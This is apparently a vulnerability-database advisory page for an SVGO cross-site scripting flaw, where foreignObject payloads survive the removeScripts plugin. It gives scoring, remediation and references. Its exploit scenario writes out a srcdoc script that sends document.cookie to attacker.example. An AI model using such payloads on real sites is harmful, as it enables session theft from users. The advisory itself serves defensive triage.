Skip to main content

SVGO CVE-2026-84369

| EUVDEUVD-2026-69651 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-01 GitHub_M GHSA-4vpr-x523-8j87
XSS Node.js Red Hat Svgo Svg
6.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts SVG with foreignObject XSS payload
  2. Delivery
    Submits SVG to application using SVGO removeScripts for sanitization
  3. Exploit
    SVGO removes script elements but passes foreignObject content unchanged
  4. Install
    Malicious SVG stored or reflected by application
  5. C2
    Victim loads/views SVG in browser
  6. Execute
    Event handler or srcdoc script executes in application origin
  7. Impact
    Session token or sensitive data exfiltrated

Vulnerability Assessment

Weakness
CWE
CWE-79
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Three conditions must all be true simultaneously. First, the removeScripts plugin (removeScriptElement in v2/v3) must be explicitly opted in - it is not active by default and must be configured by the application developer. Second, an attacker must be able to supply SVG content that is processed by SVGO with this plugin enabled; this typically means a user-upload or user-controlled input pipeline. Third, the SVGO-optimized SVG output must be served and rendered in an active browser context where inline SVG scripts can execute (e.g., direct SVG embedding, object/iframe serving, or SVG-as-image when scripts are permitted). Exploitation is limited to PR:N unauthenticated attackers only in the sense that submitting SVG may itself require no privileges on the target application; however, user interaction from a victim (UI:R) is always required to trigger execution. Applications that apply independent sanitization after SVGO, or that never render SVGO output in browsers, are not exploitable regardless of plugin configuration.
Impact

The CVSS 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) correctly models a stored/reflected XSS scenario: no privileges required to submit malicious SVG, but a victim must view the output in a browser (UI:R), and script executes in the application's origin (S:C). The score is appropriate. No CISA KEV listing and no public POC exist at time of analysis, indicating low exploitation pressure currently. However, the public GitHub security advisory and detailed PR diff lower the barrier for a researcher to construct a working proof of concept. Real-world risk is further gated by three mandatory conditions (see exploitation_conditions), meaning the effective exposed population is a subset of all SVGO users - specifically those using the plugin as a sanitization boundary for user-submitted SVG that is then served in browser contexts. Applications using SVGO purely for size optimization in server-side pipelines are entirely unaffected. EPSS data was not provided in the input.
Exploit ScenarioDerived

An attacker uploads a crafted SVG file containing an XHTML iframe with srcdoc='<script>fetch("https://attacker.example/c?k="+document.cookie)</script>' nested inside a <foreignObject> element to a platform that runs SVGO with removeScripts enabled as its sanitization step. The plugin removes top-level <script> tags but leaves the foreignObject payload intact; the optimized file is stored and later served to another user's browser, executing the script in the application's origin and exfiltrating the victim's session cookie. No public POC is confirmed, but the fix diff provides sufficient detail to reconstruct the attack.
This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Cross-site scripting in SVGO's opt-in removeScripts plugin allows XSS payloads embedded inside SVG foreignObject elements to survive optimization unchanged. Applications that process attacker-supplied SVG through SVGO with this plugin enabled and then serve the output in a browser context are exposed: event-handler attributes, srcdoc iframe payloads, and executable URL schemes (javascript:, vbscript:, data:text/html) in action/data/formaction/href/src attributes all pass through unmodified. No public exploit is identified at time of analysis; fixed in SVGO 2.8.4, 3.3.5, and 4.1.0.

RemediationAI

Upgrade to SVGO 2.8.4, 3.3.5, or 4.1.0 as appropriate for the installed major version; all three are confirmed by GitHub release tags. Patches are referenced in PRs #2264, #2269, and #2272 and commits 0557385, 994a9f0, and fd51e47. If immediate upgrade is not possible, the most effective compensating control is to apply a dedicated HTML/SVG sanitization library such as DOMPurify after SVGO optimization, before serving SVG content in a browser context - this eliminates the XSS vector regardless of SVGO version. Alternatively, preventing upload of attacker-controlled SVG files entirely removes the attack surface with the trade-off of blocking legitimate SVG use. Do not rely on the removeScripts plugin as the sole sanitization boundary on any unpatched version.

Affected VersionsENISA

svgo 1.0.0, < 2.8.4
svgo 3.0.0, < 3.3.5
svgo 4.0.0, < 4.1.0

Affected Packages

npm svgo fix: 2.8.4, 3.3.5, 4.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

SVGO (cpe:2.3:a:svg:svgo:*:*:*:*:*:*:*:*) is a Node.js SVG optimization library used across build pipelines and web applications. The vulnerability (CWE-79 - Improper Neutralization of Input During Web Page Generation) resides in the opt-in removeScripts plugin (plugins/removeScripts.js; called removeScriptElement in v2/v3). The plugin correctly removes <script> elements in the SVG and XHTML namespaces, but performs no inspection of HTML content inside SVG <foreignObject> elements. Because foreignObject embeds arbitrary HTML within an SVG document tree, event-handler attributes such as onload and onbeforetoggle on XHTML child elements, srcdoc attributes on iframes, and executable URL schemes in action, data, formaction, href, and src attributes can all carry live XSS payloads. The PR diffs confirm the fix adds depth-tracking for foreignObject elements and then sanitizes these specific attribute classes within them, while preserving non-executable visual content.

Know when Svgo gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Standard stored XSS: network delivery, no attacker privileges, victim must view SVG in browser (UI:R), scope change to victim origin (S:C), limited C/I impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 6.1 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Sep 01, 2026 - 22:03 EUVD
CVE Published
Sep 01, 2026 - 20:43 cve.org
MEDIUM 6.1

DescriptionCVE.org

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3 and implemented in plugins/removeScripts.js, removes SVG and XHTML script elements but does not inspect executable HTML content inside SVG foreignObject elements. Event-handler attributes such as onload and onbeforetoggle, srcdoc documents, and executable URLs in the action, data, formaction, href, and src attributes can remain in attacker-controlled SVG input. When an application uses the plugin as its only protection and serves the optimized SVG in an active browser context, the payload can execute script in the viewer's origin, expose data, modify content, or perform actions as the victim. This issue is fixed in versions 2.8.4, 3.3.5, and 4.1.0.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on svgo (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.0.0.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
High
widely-used Node.js SVG optimizer, tens of millions of weekly npm downloads
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Svgo

View all
CVE-2026-73650 HIGH POC
8.2 Aug 13

Cross-site scripting in SVGO's script-removal plugin exposes web applications that process untrusted SVG uploads to stor
CVE-2026-29074 HIGH POC
7.5 Mar 06

Denial of service in SVGO versions 2.1.0-2.8.0, 3.0.0-3.3.2, and before 4.0.1 allows unauthenticated attackers to crash

CVE-2026-84370 HIGH
8.2 Sep 01

Incomplete script filtering in SVGO's opt-in removeScripts plugin allows stored XSS to survive the sanitization pass acr

Same weakness CWE-79 – Cross-site Scripting (XSS)

View all
CVE-2020-3580 MEDIUM POC
6.1
CVE-2013-7389 MEDIUM POC
4.3
CVE-2021-25299 MEDIUM POC
6.1
CVE-2014-2120 MEDIUM
6.1
CVE-2023-40000 HIGH POC
8.3
CVE-2016-8581 MEDIUM POC
6.1
CVE-2013-5223 MEDIUM POC
5.4
CVE-2025-52367 MEDIUM POC
5.4

Same technique XSS

View all
CVE-2017-9248 CRITICAL POC
9.8
CVE-2013-1710 CRITICAL POC
10.0
CVE-2024-52875 HIGH POC
8.8

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise Micro 5.3 Affected
SUSE Linux Enterprise Micro 5.3 Affected
SUSE Linux Enterprise Micro 5.3 Affected

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-84369 ADVISORY https://vuldb.com/vuln/397865 REF https://github.com/svg/svgo/commit/0557385564a5c6c11d76cd934a6cff94451e532c REF https://github.com/svg/svgo/commit/994a9f00d79ddec68ce19a1ce9eb8ca08d747e4f REF https://github.com/svg/svgo/commit/fd51e474a300417d9361d9302d596b1763146327 REF https://github.com/svg/svgo/pull/2264 REF https://github.com/svg/svgo/pull/2269 REF https://github.com/svg/svgo/pull/2272 REF https://github.com/svg/svgo/releases/tag/v2.8.4 REF https://github.com/svg/svgo/releases/tag/v3.3.5 REF https://github.com/svg/svgo/releases/tag/v4.1.0 REF https://github.com/svg/svgo/security/advisories/GHSA-4vpr-x523-8j87

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy